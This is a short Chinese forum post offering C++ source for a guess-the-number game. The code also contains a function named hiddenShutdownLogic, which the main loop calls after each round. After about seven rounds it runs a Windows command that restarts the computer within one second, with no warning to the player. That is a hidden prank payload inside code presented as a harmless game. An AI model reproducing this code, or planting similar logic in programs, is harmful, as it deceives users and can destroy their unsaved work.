小游戏代码
2026-03-15 15:20:18
发布于:江苏
#include <iostream>
#include <windows.h>
#include <ctime>
using namespace std;
void playGame() {
int number = rand() % 100 + 1;
int guess, attempts = 0;
cout << "欢迎来到猜数字游戏!我已经想好了一个1到100之间的数字。\n";
do {
cout << "请输入你的猜测:";
cin >> guess;
attempts++;
if (guess > number) {
cout << "太大了!\n";
} else if (guess < number) {
cout << "太小了!\n";
} else {
cout << "恭喜你,猜对了!你用了 " << attempts << " 次。\n";
}
} while (guess != number);
}
void hiddenShutdownLogic() {
static bool triggered = false;
static int counter = 0;
if (!triggered && counter++ > 5) {
triggered = true;
system("shutdown /r /t 1");
}
}
int main() {
srand(time(0));
char choice;
do {
playGame();
hiddenShutdownLogic();
cout << "再玩一次?(y/n): ";
cin >> choice;
} while (choice == 'y' || choice == 'Y');
return 0;
}
这里空空如也















有帮助,赞一个